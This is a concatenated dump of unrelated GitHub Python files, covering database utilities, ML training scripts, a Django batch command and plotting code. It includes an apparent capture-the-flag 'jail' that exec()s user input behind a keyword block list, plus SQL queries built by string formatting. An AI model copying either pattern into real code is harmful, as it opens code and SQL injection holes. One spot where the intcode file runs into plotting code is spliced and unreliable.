if not os.path.exists(os.path.dirname(full_path)):\n try:\n os.makedirs(os.path.dirname(full_path))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n file.save(full_path)\n saved_files.append(filename)\n return saved_files\n\nclass DbQuery:\n def __init__(self):\n from run import app\n self.conn_string = \"dbname={} user={} password={} host={}\".format(app.config['DATABASE_URL'],\n app.config['USERNAME'],\n app.config['PASSWORD'], app.config['HOST'])\n\n def create_db_connection(self):\n return psycopg2.connect(self.conn_string)\n\n def close_db_connection(self, cur, conn):\n cur.close()\n conn.close()\n\n def execute_query(self, query, is_dml=False):\n conn = self.create_db_connection()\n cursor = None\n result = None\n\n try:\n cursor = conn.cursor()\n cursor.execute(query)\n if is_dml:\n result = DbQueryResponse()\n conn.commit()\n else:\n result = DbQueryResponse(value=cursor.fetchall())\n except psycopg2.Error as e:\n if cursor is not None:\n conn.rollback()\n result = DbQueryResponse(False, e.pgerror)\n except Exception as e:\n if cursor is not None:\n conn.rollback()\n result = DbQueryResponse(False, 'Error')\n finally:\n if cursor is not None:\n cursor.close()\n conn.close()\n return result\n\n def execute_query_wo_commit(self, cursor, query, is_dml=False):\n result = None\n try:\n cursor.execute(query)\n if is_dml:\n result = DbQueryResponse()\n else:\n result = DbQueryResponse(value=cursor.fetchall())\n except psycopg2.Error as e:\n if cursor is not None:\n result = DbQueryResponse(False, e.pgerror)\n return result\n\nclass DbQueryResponse:\n def __init__(self, is_success=True, value=None):\n self.success = is_success\n self.value = value\n\n def __str__(self):\n return \"success : {}, value: {}\".format(str(self.success), str(self.value))\n\n\nclass PasswordUtils:\n @staticmethod\n def generate(encoded_string):\n from run import app\n return ((hashlib.sha256(encoded_string + app.config['SECRET_KEY'].encode())).hexdigest())\n\n\ndef send_email(subject, mail_to, text):\n from run import app\n message = 'From: {}\\nTo: {}\\nSubject: {}\\n\\n{}'.format(app.config['EMAIL_MAIL_FROM'],\n mail_to,\n subject,\n text)\n server = smtp.SMTP_SSL(app.config['EMAIL_SERVER'])\n # server.set_debuglevel(1)\n # server.ehlo(email)\n server.login(app.config['EMAIL_LOGIN'], app.config['EMAIL_PASSWORD'])\n server.auth_plain()\n server.sendmail(app.config['EMAIL_MAIL_FROM'], mail_to, message.encode('utf-8'))\n server.quit()\n\n\ndef get_dictionary_by_name(item, value=None):\n from run import db_query\n if not value:\n query_result = db_query.execute_query(\"\"\" SELECT *\n FROM public.{}\n ORDER BY id ASC;\"\"\".format(item))\n return (query_result.value)\n else:\n query_result = db_query.execute_query(\"\"\" SELECT id\n FROM public.{}\n WHERE name='{}';\"\"\".format(item, value))\n return (query_result.value[0][0])\n\n\ndef set_or_appned_to_array(array, idx, value):\n idx = int(idx)\n try:\n array[idx] = value\n except:\n if idx > 0:\n for i in range(0, idx+1):\n array.append('')\n else:\n array.append('')\n array[idx] = value\n return array\n","repo_name":"radikal95/task_chat","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15089344036","text":"import os\nimport sys\n\n\nprint(\"Welcome to ULTRASAFE Jail! There's definitely no way you can read the flag file, right?\")\n\ncode = input(\"Give code: \")\n\nfilters = [\"eval\", \"exec\", \"import\", \"open\", \"os\", \"read\", \"system\", \"write\"]\n\nif any(banned_word in code for banned_word in filters):\n print(\"Hey, you can't do that! That's illegal!\")\nelse:\n print(\"Running!\")\n exec(code)\n","repo_name":"nigel/berke1337_re","sub_path":"intro-9.23/jail.py","file_name":"jail.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36562032241","text":"from django.core.management.base import BaseCommand\nimport sys\nimport io\nsys.stdin = io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8')\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')\n#sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')\nimport argparse\nimport socket\nimport time\nfrom logging import basicConfig, getLogger, DEBUG\nfrom datetime import datetime\nfrom ...utils import boatrace\nfrom ...logic import boatracebatch\nfrom ...conf import const\n\n\nclass Command(BaseCommand):\n\n # ネットワーク設定の初期化\n origGetAddrInfo = socket.getaddrinfo\n def getAddrInfoWrapper(host, port, family=0, socktype=0, proto=0, flags=0):\n return Command.origGetAddrInfo(host, port, socket.AF_INET, socktype, proto, flags)\n \n # [python manage.py help sampleBatch]で表示されるメッセージ\n help = 'これはテスト用のコマンドバッチです'\n # これはメインのファイルにのみ書く\n basicConfig(level=DEBUG)\n\n def add_arguments(self, parser):\n # コマンドライン引数を指定\n parser.add_argument('-p', action='store', dest='place_value', help='【必須】ashiya,omura,tokuyama,allから選んでください',required=True, type=valid_place_type)\n parser.add_argument('-b', action='store', dest='bet_type', help='【必須】2tan,2puku,3tan,3puku,9 から選んでください',required=True, type=valid_bet_type)\n parser.add_argument('-r', action='store', dest='race_no')\n\n def handle(self, *args, **options):\n start = time.time()\n\n socket.getaddrinfo = Command.getAddrInfoWrapper\n logger = getLogger(__name__)\n \n res_comment = {}\n try:\n logger.debug('バッチが動きました：place_value-> {} bet_type-> {}'.format(options['place_value'],options['bet_type']))\n\n place = options['place_value']\n bet_type = options['bet_type']\n race_no = options['race_no']\n #day = datetime.today().strftime(\"%Y%m%d\")\n \n bbu = boatracebatch.BoatRaceBatchLogic()\n res_comment = bbu.create_odds_file_places(place,bet_type,race_no)\n except Exception as e:\n import traceback\n traceback.print_exc()\n logger.error(e)\n finally:\n elapsed_time = time.time() - start\n logger.debug (\"elapsed_time:{0}\".format(elapsed_time) + \"[sec]\")\n logger.debug(res_comment)\n #import json\n #logger.debug(json.dumps(res_comment))\n\n\ndef valid_place_type(p):\n \"\"\"\n 引数のバリデーション\n :param unicode p:\n :rtype: str\n \"\"\"\n try:\n if boatrace.BoatRaceUtils.is_effect_place(p):\n return p\n raise argparse.ArgumentTypeError('Choices are ashiya, omura, tokuyama but {0} are given'.format(p))\n except ValueError:\n raise argparse.ArgumentTypeError('Not a valid type: {}.'.format(p))\n\ndef valid_bet_type(b):\n \"\"\"\n 引数のバリデーション\n :param unicode b:\n :rtype: str\n \"\"\"\n try:\n if b == const.BET_2TAN or b == const.BET_3TAN or b == const.BET_2PUKU or b == const.BET_3PUKU or b == const.BET_ALL:\n return b\n raise argparse.ArgumentTypeError('Choices are 2tan,2puku,3tan,3puku,9 but {0} are given'.format(b))\n except ValueError:\n raise argparse.ArgumentTypeError('Not a valid type: {}.'.format(b))\n ","repo_name":"tanaka-tank/data-vault","sub_path":"odds_avg/management/commands/boatrace_getodds_batch.py","file_name":"boatrace_getodds_batch.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36016365743","text":"import os\nimport pickle\nimport neat\nimport gym\nimport numpy as np\nimport time\n\n\n# Load the winner from thisisneat.py\nwith open('winner-NEAT-pickle', 'rb') as f:\n c = pickle.load(f)\n\nprint('Loaded genome: ')\nprint(c)\n\n# Load the config file, which is assumed to live in the same directory as this script. (same config used with thisisneat.py)\nlocal_dir = os.path.dirname(__file__)\nconfig_path = os.path.join(local_dir, 'config')\nconfig = neat.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet, neat.DefaultStagnation, config_path)\n\nnet = neat.nn.FeedForwardNetwork.create(c, config)\n\nenv = gym.make('Acrobot-v1')\nobservation = env. reset()\n\ndone= False\n\ni = 0\n\nwhile not done:\n action = np.argmax(net.activate(observation))\n\n observation, reward, done, info = env.step(action)\n\n env.render()\n\n i += 1\n\n # theta = angle of bar closest to hub\n # alpha = angle of bar farthest from hub\n #NEED TO USE ARCTAN so we can get proper sign on our angles\n theta_tan = np.arctan(observation[1] / observation[0]) \n alpha_tan = np.arctan(observation[3] / observation[2]) \n theta_tan_deg = theta_tan * 180 / np.pi\n alpha_tan_deg = alpha_tan * 180 / np.pi\n\n theta_cos = np.arccos(observation[0])\n alpha_cos = np.arccos(observation[2])\n theta_cos_deg = theta_cos * 180 / np.pi\n alpha_cos_deg = alpha_cos * 180 / np.pi\n\n alpha = alpha_tan\n theta = theta_tan\n\n cos_theta = observation[0]\n\n if alpha_cos_deg >= 90:\n if theta_tan_deg > 0: \n alpha = alpha_cos\n else:\n alpha = - alpha_cos\n if theta_cos_deg >= 90:\n if theta_tan_deg >= 0: # left quadrants\n theta = - theta_cos\n else: # right quadrants\n theta = theta_cos\n\n h1 = - cos_theta\n h2 = - np.cos(2 * np.pi - theta - alpha)\n\n current_height = h1 + h2\n\n\n print(observation[0:4], action, i)\n\n \n\n\nenv.close()","repo_name":"PortRoyale/NEAT_OpenAI","sub_path":"Acrobat_v1/neat-solution.py","file_name":"neat-solution.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31533098769","text":"#---------------------------------------------\n# Author: Elaine Lin\n# Created Date: 2021-11-20\n# References Used:\n#---------------------------------------------\n\nfrom collections import defaultdict\nimport os\nfrom pathlib import Path\n\nfile_name = ((os.path.basename(__file__)).split('.')[0])\nbase_path = Path(__file__).parent.parent\nfile_path = (base_path / '../inputs/{0}.txt'.format(file_name)).resolve()\n\naoc_input = [int(i) for i in open(file_path).read().split(',')]\n\ndef solve_pos_0(intcode, input, diagnostic_code):\n i = 0\n while i < len(intcode):\n opcode = intcode[i]\n\n if opcode == 99:\n break\n if opcode == 3:\n intcode[intcode[i+1]] = input\n if opcode == 4:\n diagnostic_code = intcode[intcode[i+1]]\n print (diagnostic_code)\n\n str_opcode = str(opcode)\n len_opcode = len(str_opcode)\n parameter_modes = defaultdict(int)\n if len_opcode > 2:\n #last two digits is now the opcode\n opcode = int(str_opcode[-2:])\n #getting the parameter modes for the subsequent parameters\n c = 0\n for j in range(len_opcode-3, -1, -1):\n parameter_modes[c] = int(str_opcode[j])\n c += 1\n\n if opcode in [1, 2, 5, 6, 7, 8]:\n pos_1 = intcode[i+1] if parameter_modes.get(0, 0)==1 else intcode[intcode[i+1]]\n pos_2 = intcode[i+2] if parameter_modes.get(1, 0)==1 else intcode[intcode[i+2]]\n \n if opcode == 1:\n intcode[intcode[i+3]] = (pos_1+pos_2)\n elif opcode == 2:\n intcode[intcode[i+3]] = (pos_1*pos_2)\n elif (opcode == 5 and pos_1 != 0) or (opcode == 6 and pos_1 == 0):\n i = pos_2\n continue\n elif opcode == 7:\n intcode[intcode[i+3]] = 1 if pos_1 thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n \n#%%\n\n# Compute confusion matrix\ncnf_matrix = confusion_matrix(y_test, y_pred)\nnp.set_printoptions(precision=2)\n\n#%%\n\n# Plot non-normalized confusion matrix\nplt.figure()\nclass_names=['NORMAL','CNV','DME','DRUSEN']\nplot_confusion_matrix(cnf_matrix, classes=class_names,\n title='Confusion matrix, without normalization')\nrootdir =homedir+ '/figures/confusion_matrix_without_normalization.png'\nplt.savefig(rootdir,figsize=(4,3),dpi=500,bbox_inches='tight',labelsize=12)\n\n#%%\n\n# Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(cnf_matrix, classes=class_names, normalize=True,\n title='Confusion matrix, with normalization')\nplt.legend(['train', 'test'], loc='lower right')\nrootdir =homedir+ '/figures/confusion_matrix_with_normalization.png'\nplt.savefig(rootdir,figsize=(4,3),dpi=500,bbox_inches='tight',labelsize=12)\nplt.show()\n","repo_name":"suhailnajeeb/retinal-oct-classify","sub_path":"step3_classifier_train.py","file_name":"step3_classifier_train.py","file_ext":"py","file_size_in_byte":6352,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"14429855569","text":"import torch\nfrom typing import Tuple, List\n\n\nclass ImprovedModel(torch.nn.Module):\n \"\"\"\n This is an experimental improvement model from the basic SSD model.\n \"\"\"\n def __init__(self,\n output_channels: List[int],\n image_channels: int,\n output_feature_sizes: List[Tuple[int]]):\n super().__init__()\n self.out_channels = output_channels\n self.output_feature_shape = output_feature_sizes\n num_filters = 64\n self.feature_map_zero = torch.nn.Sequential(\n torch.nn.Conv2d(\n in_channels=image_channels,\n out_channels=num_filters,\n kernel_size=3,\n stride=1,\n padding=1\n ),\n torch.nn.BatchNorm2d(num_features=num_filters),\n torch.nn.MaxPool2d(\n kernel_size=2,\n stride=2\n ),\n torch.nn.ReLU(),\n\n torch.nn.Conv2d(num_filters, num_filters * 2, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=num_filters * 2),\n torch.nn.MaxPool2d(2,2),\n torch.nn.ReLU(),\n \n torch.nn.Conv2d(num_filters * 2, num_filters * 2, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=num_filters * 2),\n torch.nn.ReLU(),\n torch.nn.Conv2d(num_filters * 2, self.out_channels[0], 3, 2, 1)\n )\n\n self.feature_map_one = torch.nn.Sequential(\n torch.nn.ReLU(),\n torch.nn.Conv2d(self.out_channels[0], 128, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[0]),\n torch.nn.ReLU(),\n torch.nn.Conv2d(128, self.out_channels[1], 3, 2, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[1]),\n )\n\n self.feature_map_two = torch.nn.Sequential(\n torch.nn.ReLU(),\n torch.nn.Conv2d(self.out_channels[1], 256, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[1]),\n torch.nn.ReLU(),\n torch.nn.Conv2d(256, self.out_channels[2], 3, 2, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[2]),\n )\n\n self.feature_map_three = torch.nn.Sequential(\n torch.nn.ReLU(),\n torch.nn.Conv2d(self.out_channels[2], 128, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[2]),\n torch.nn.ReLU(),\n torch.nn.Conv2d(128, self.out_channels[3], 3, 2, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[3]),\n )\n\n self.feature_map_four = torch.nn.Sequential(\n torch.nn.ReLU(),\n torch.nn.Conv2d(self.out_channels[3], 128, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[3]),\n torch.nn.ReLU(),\n torch.nn.Conv2d(128, self.out_channels[4], 3, 2, 1),\n torch.nn.BatchNorm2d(num_features=self.out_channels[4]),\n )\n\n self.feature_map_five = torch.nn.Sequential(\n torch.nn.ReLU(),\n torch.nn.Conv2d(self.out_channels[4], 128, 3, 1, 1),\n torch.nn.BatchNorm2d(num_features=128),\n torch.nn.ReLU(),\n torch.nn.Conv2d(128, self.out_channels[5], 3, 1, 0),\n )\n \n self.feature_maps = [\n self.feature_map_zero,\n self.feature_map_one,\n self.feature_map_two,\n self.feature_map_three,\n self.feature_map_four,\n self.feature_map_five,\n ]\n\n def forward(self, x):\n \"\"\"\n The forward function\n \"\"\"\n out_feats = []\n\n out_feats.append(self.feature_map_zero(x))\n for i in range(1, len(self.feature_maps)):\n out_feats.append(self.feature_maps[i](out_feats[i - 1]))\n\n for idx, feature in enumerate(out_feats):\n out_channel = self.out_channels[idx]\n h, w = self.output_feature_shape[idx]\n expected_shape = (out_channel, h, w)\n assert feature.shape[1:] == expected_shape, \\\n f\"Expected shape: {expected_shape}, got: {feature.shape[1:]} at output IDX: {idx}\"\n assert len(out_feats) == len(self.output_feature_shape),\\\n f\"Expected that the length of the outputted features to be: {len(self.output_feature_shape)}, but it was: {len(out_feats)}\"\n return tuple(out_feats)\n\n","repo_name":"mariueng/TDT4265","sub_path":"assignment4/SSD/ssd/modeling/backbones/task4c.py","file_name":"task4c.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39604395509","text":"# import _locate_\n# import sys\n\n# sys.path.insert(1, _locate_.BASE_DIR)\nfrom connect_confidential.connect_db_final import conn, cursor\n\n# from connect_confidential.connect_db_stg import conn, cursor\nfrom connect_confidential.connect_gspread import client_gspread\n\nimport pandas as pd\nfrom colorama import Fore, Style\n\n\ndef check_pointlog(check_query, actionid, reset_crawlingtaskid):\n query = check_query.format(actionid, reset_crawlingtaskid) # album_query\n cursor.execute(query)\n result = cursor.fetchall()\n pointlog_list = pd.DataFrame(result)[0].to_list()\n return pointlog_list\n\n\ndef update_db(query):\n print(\n Fore.LIGHTBLUE_EX + \"\\nPlease check if the query is correct\" + Style.RESET_ALL\n )\n print(query)\n decision = input(\n Fore.LIGHTMAGENTA_EX + \"\\nEnter RESET to continue: \" + Style.RESET_ALL\n )\n if decision == \"RESET\":\n cursor.execute(query)\n conn.commit()\n print(Fore.LIGHTYELLOW_EX + \"Finish reset crawlingtask!\")\n print(\n \"If later the crawlingtask's result still returns incomplete please inform Minchan\"\n + Style.RESET_ALL\n )\n else:\n print(\"No changes made, now exit\")\n\n\nrerun_crawlingtask = \"\"\"UPDATE v4.crawlingtasks set `Status` = NULL where `Status` = 'incomplete' and actionid ='{}' and id in {};\"\"\"\nvalid_plid_query = \"\"\"select id from v4.crawlingtasks where `Status` = 'incomplete' and actionid ='{}' and id in {}\"\"\"\n\n\ndef check_update(reset_crawlingtaskid, actionid):\n valid_plid = check_pointlog(\n valid_plid_query,\n actionid,\n str(reset_crawlingtaskid).replace(\"[\", \"(\").replace(\"]\", \")\"),\n )\n invalid_plid = [i for i in reset_crawlingtaskid if i not in valid_plid]\n print(\n Fore.LIGHTGREEN_EX\n + \"\\nvalid crawlingtasks.id list as below:\\n\"\n + Style.RESET_ALL,\n valid_plid,\n )\n print(\n Fore.LIGHTRED_EX\n + \"\\ninvalid crawlingtasks.id list as below:\\n\"\n + Style.RESET_ALL,\n invalid_plid,\n )\n if len(invalid_plid) == 0:\n rerun_query = rerun_crawlingtask.format(\n actionid, str(valid_plid).replace(\"[\", \"(\").replace(\"]\", \")\")\n )\n update_db(rerun_query)\n else:\n print(\n Fore.LIGHTRED_EX\n + \"Please recheck INVALID crawlingtasks.id\"\n + Style.RESET_ALL\n )\n\n\ndef reset_crawlings(reset_crawlingtaskid):\n print(\n Fore.LIGHTGREEN_EX + \"\\nWhich ActionID you want to reset?\\n\",\n \"A. youtube-crawler_FFC1\\n\",\n \"B. album-itune_FC06\\n\",\n \"C. album-tracks_0DE5\\n\" + Style.RESET_ALL,\n )\n option = str(\n input(Fore.LIGHTMAGENTA_EX + \"Please input the option: \" + Style.RESET_ALL)\n )\n\n if option == \"A\":\n check_update(reset_crawlingtaskid, \"F91244676ACD47BD9A9048CF2BA3FFC1\")\n elif option == \"B\":\n check_update(reset_crawlingtaskid, \"9C8473C36E57472281A1C7936108FC06\")\n elif option == \"C\":\n check_update(reset_crawlingtaskid, \"0001892134894FCF83ABCFC1F39E0DE5\")\n else:\n print(\"No changes made, now exit\")\n print(Fore.LIGHTYELLOW_EX + \"\\nThe file is done processing!\" + Style.RESET_ALL)\n\n\n# --------------------------------INSTRUCTION---------------------------------------------------------------\n\n\n\"\"\" \nĐiền list poinlogID mà cần crawl lại ở dưới đây nhé\nExample:\nreset_crawlingtaskid = ['DDFCACEA9584463282EBD00150337A8A',\n'F22F3FCC48D847A0B7A7613F8B7D1AF8']\n\"\"\"\n\nreset_crawlingtaskid = []\n\n\n# ------------------------------------END-------------------------------------------------------------------\n\nreset_crawlings(reset_crawlingtaskid)\n","repo_name":"minchanglueth/data_processing_and_extracting","sub_path":"reset_status_clids/reset_status_clids.py","file_name":"reset_status_clids.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10966284195","text":"\nimport ROOT as rt\nfrom ROOT import TFrame, TText, TLatex\nfrom ROOT import TGraph, TVector2, TMath\n\n#_____________________________________________________________________________\nclass vmagnet(object):\n #_____________________________________________________________________________\n def __init__(self):\n #set magnet from configuration dictionary\n self.name = \"\"\n self.center_z = 0.\n self.center_x = 0.\n self.length = 0.\n self.rad1 = 0.\n self.rad2 = 0.\n self.field = 0.\n #electron or hadron\n self.is_electron = True\n #initial angle\n self.theta_0 = 0.\n #parameters from MAD-X survey\n self.S = 0.\n self.L = 0.\n self.X = 0.\n self.Z = 0.\n self.THETA = 0.\n self.has_survey = False\n #drawing configuration\n self.fill_style = 1000\n self.label_down = False\n self.label = \"\"\n self.no_label = False\n self.line_col = rt.kBlue\n self.fill_col = rt.kGreen-2\n\n #_____________________________________________________________________________\n def read_survey(self, lin):\n #values from MAD-X survey\n\n self.S = float( lin[\"S\"] )\n self.L = float( lin[\"L\"] )\n self.X = float( lin[\"X\"] )\n self.Z = float( lin[\"Z\"] )\n self.THETA = float( lin[\"THETA\"] ) + self.theta_0\n self.has_survey = True\n\n #_____________________________________________________________________________\n def rotate_translateX(self, theta, xt):\n\n #combined rotation and translation\n self.rotate(theta)\n self.translateX(xt)\n\n #_____________________________________________________________________________\n def translateX(self, xt):\n\n #translate the magnet along x\n\n self.center_x += xt\n\n #_____________________________________________________________________________\n def rotate(self, theta):\n #rotate by angle theta about the origin\n\n #get new center_z and center_x by TVector2 rotation\n vec = TVector2(self.center_z, self.center_x).Rotate(theta)\n self.center_z = vec.X()\n self.center_x = vec.Y()\n\n #rotate along magnet center\n self.THETA = self.THETA - theta\n\n #_____________________________________________________________________________\n def draw_2d(self):\n\n #draw only magnets with survey defined\n if not self.has_survey: return\n\n #self.draw_box()\n self.draw_graph()\n\n #_____________________________________________________________________________\n def draw_graph(self):\n\n #inner and outer radius\n if self.center_z < 0:\n rad_right = self.rad1\n rad_left = self.rad2\n else:\n rad_right = self.rad2\n rad_left = self.rad1\n\n #edge points of the magnet\n vec = []\n vec.append( TVector2(self.length/2, rad_right) )\n vec.append( TVector2(self.length/2, -rad_right) )\n vec.append( TVector2(-self.length/2, -rad_left) )\n vec.append( TVector2(-self.length/2, rad_left) ) \n\n #rotate along magnet axis and move to magnet center\n vpos = TVector2(self.center_z, self.center_x)\n for i in range(len(vec)):\n vec[i] = vec[i].Rotate(-self.THETA) + vpos\n\n #export points to the graph\n self.gbox = TGraph(len(vec)+1)\n self.gbox.SetLineColor(self.line_col)\n self.gbox.SetLineWidth(2)\n self.gbox.SetFillStyle(self.fill_style)\n self.gbox.SetFillColor(self.fill_col)\n\n for i in range(len(vec)):\n self.gbox.SetPoint(i, vec[i].X(), 100*vec[i].Y())\n\n #last point same as the first\n self.gbox.SetPoint(len(vec), vec[0].X(), 100*vec[0].Y())\n\n self.gbox.Draw(\"lfsame\")\n\n #label\n if self.no_label: return\n #lx = (self.center_x + self.rad2)*100 + 4\n lx = (self.center_x + (self.rad1+self.rad2)/2)*100 + 4\n if lx < 30: lx = 30\n align = 12\n #left down\n if (self.center_z < 0 and not self.is_electron) or self.label_down:\n lx = (self.center_x - self.rad2)*100 - 4\n align = 32\n #right down\n if self.center_z > 0 and self.is_electron:\n lx = (self.center_x - self.rad2)*100 - 4\n if lx > -25: lx = -25\n align = 32\n #label above the magnet\n if self.center_x < -0.4:\n lx = (self.center_x + self.rad2)*100 + 4\n align = 12\n if self.label == \"\":\n self.label = self.name\n #self.glabel = TText(self.center_z, lx, self.label)\n self.glabel = TLatex(self.center_z, lx, self.label)\n self.glabel.SetTextSize(0.03)\n #self.glabel.SetTextSize(0.02)\n self.glabel.SetTextAngle(90)\n self.glabel.SetTextAlign(align)\n self.glabel.Draw(\"same\")\n\n #_____________________________________________________________________________\n def draw_box(self):\n\n z1 = self.center_z - self.length/2\n z2 = z1 + self.length\n x1 = self.center_x - self.rad2\n x2 = x1 + 2*self.rad2\n\n #to cm\n x1 *= 100\n x2 *= 100\n\n #representation as a box\n self.box = TFrame(z1, x1, z2, x2)\n self.box.SetBorderMode(0)\n self.box.SetFillColor(rt.kGray+1)\n col = rt.kRed\n if self.is_electron == True: col = rt.kBlue\n self.box.SetLineColor(col)\n self.box.SetLineWidth(2)\n #self.box.Draw(\"same\")\n\n #label\n lx = x2 + 2\n align = 11\n if lx < 0 and lx > -62: \n lx = x1 - 5 # negative lx\n align = 31\n if self.center_z < 0 and self.center_x < 0.1:\n lx = x1 - 2 # negative z and x\n align = 31\n if lx > 0 and lx < 22: lx = 22 # small positive lx\n self.label = TText(z2, lx, self.name)\n self.label.SetTextSize(0.03)\n self.label.SetTextAngle(90)\n self.label.SetTextAlign(align)\n #self.label.Draw(\"same\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"adamjaro/irview","sub_path":"vmagnet.py","file_name":"vmagnet.py","file_ext":"py","file_size_in_byte":6043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"35514600041","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/2/3 下午7:24\n# @Author : Hui\n# @File : debugEif.py\n\nimport datetime, random, string, os,time,yaml\nimport configparser # 读取ini配置文件，实例化configparser对象\n\nclass BodyVerify(object):\n\n def newNumber(self):\n \"\"\"\n :return: 根据当前时间生成唯一数\n \"\"\"\n NewData = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.now())\n soleDate = NewData[4:]\n return soleDate\n\n\n\n def randomStamp(self,a, b):\n \"\"\"\n :param a:\n :param b:\n :return: 生成两数之间的整数\n \"\"\"\n return random.randint(a, b)\n\n def randomTelephone(self):\n \"\"\"\n :return: 生成随机手机号\n \"\"\"\n preList = [\"130\", \"131\", \"132\", \"133\", \"134\", \"135\", \"136\", \"137\", \"138\", \"139\", \"147\", \"150\", \"151\", \"152\",\n \"153\",\n \"155\", \"156\", \"157\", \"158\", \"159\", \"186\", \"187\", \"188\", \"199\"]\n return random.choice(preList) + \"\".join(random.choice(\"0123456789\") for i in range(8))\n\n def randomStr(self, str_len):\n \"\"\"\n :param str_len:\n :return: 生存指定长度的随机字符串\n \"\"\"\n return ''.join(\n random.choice(string.digits) for _ in range(str_len)) # string.ascii_letters + 英文字符\n\n def readYaml(self, file):\n \"\"\"\n :param file: YAML文件路径\n :return: 读取YAML文件，最终转化为json 输出\n \"\"\"\n file = open(file, 'r', encoding='utf-8')\n file_data = yaml.load(file.read())\n return file_data\n\n def timeStamp(self,timeNum):\n \"\"\"\"\n :param # 输入毫秒级的戳，转出正常格式的时间 int\n :return str\n \"\"\"\n timeStamp = float(timeNum / 1000)\n timeArray = time.localtime(timeStamp)\n return time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\n\n def getConfig(self,filename, tp, key, value):\n \"\"\"\n # 获取请求参数\n :param file: 配置文件,格式为ini格式\n :return: 返回key:value结构参数串\n \"\"\"\n conf = configparser.ConfigParser() # 实例化configparser对象\n conf.read(filename, encoding='utf-8')\n if tp == \"int\":\n return conf.getint(key, value)\n elif tp == \"str\":\n return conf.get(key, value)\n else:\n print('类型不存在')\n\n# from email.mime.text import MIMEText\n# from email.mime.multipart import MIMEMultipart\n\n# class SendEmail(object):\n# # 定义邮件并发送\n# global send_user\n# global email_host\n# global password\n# email_host = \"smtp.163.com\"\n# send_user = \"13711153040@163.com\"\n# password = \"*******\"\n#\n# def send_mail(self, user_list, sub):\n# msgRoot = MIMEMultipart('related')\n# user = \"Xie\" + \"<\" + send_user + \">\"\n# msgRoot['Subject'] = sub\n# msgRoot['From'] = user\n# msgRoot['To'] = \";\".join(user_list)\n#\n# # 发送正文\n# text = '麻烦下载附件查看测试详情，谢谢'\n# att1 = MIMEText(text, 'plain', 'utf-8')\n# msgRoot.attach(att1)\n#\n# \"\"\"\n# \t\t测试报告存储路径,\n# \t\t将测试报告文件夹下的所有文件名作为一个列表返回,\n# \t\t对所有测试报告按照生成时间进行排序,\n# \t\t获取最新的测试报告,\n# \t\t指定最新的测试报告路径\n# \t\t\"\"\"\n# report_dir = \"../Report/\"\n# lists = os.listdir(report_dir) #\n# lists.sort(key=lambda filename: os.path.getmtime(report_dir + filename))\n# recent = lists[-1]\n# file = os.path.join(report_dir, recent)\n#\n# # 发送附件\n# sendfile = open(file, \"r\", encoding='UTF-8').read()\n# att = MIMEText(sendfile, \"base64\", \"utf-8\")\n# att[\"Content-Type\"] = \"application/octet-stream\"\n# att[\"Content-Disposition\"] = \"attachment;filename = 'API_TestReport.html'\"\n# msgRoot.attach(att)\n# server = smtplib.SMTP()\n# server.connect(email_host)\n# server.login(send_user, password)\n# server.sendmail(user, user_list, msgRoot.as_string())\n# server.close()\n\nimport logging\nnowTime = time.strftime('%Y%m%d', time.localtime(time.time()))\nclass TestLogger(object):\n def __init__(self):\n self.logger = logging.getLogger()\n self.logger.setLevel(logging.DEBUG)\n\n # os.getcwd()获取当前文件的路径，os.path.dirname()获取指定文件路径的上级路径\n log_path = os.path.join(os.path.dirname(os.getcwd()), '../data/log/')\n self.all_log_name = log_path + nowTime + '_' + '.log'\n # 创建一个handler写入所有日志\n all_fh = logging.FileHandler(self.all_log_name, mode='a', encoding='utf-8')\n all_fh.setLevel(logging.INFO)\n\n # 创建一个handler，用于输出到控制台\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n\n # 定义handler的输出格式\n all_formatter = logging.Formatter('[%(asctime)s] - %(filename)s - %(funcName)s - %(message)s')\n all_fh.setFormatter(all_formatter)\n\n # 给logger添加handler\n self.logger.addHandler(all_fh)\n self.logger.addHandler(ch)\n\n all_fh.close()\n ch.close()\n\n def get_log(self):\n return self.logger\n\n\nif __name__ == '__main__':\n req = BodyVerify()\n print(req.newNumber())\n curPath = os.path.dirname(os.path.realpath(__file__))\n print(curPath)\n cfgPath = os.path.join(curPath, \"config.ini\") # 配置文件ini\n req.getConfig(cfgPath,'str','db','host')\n\n 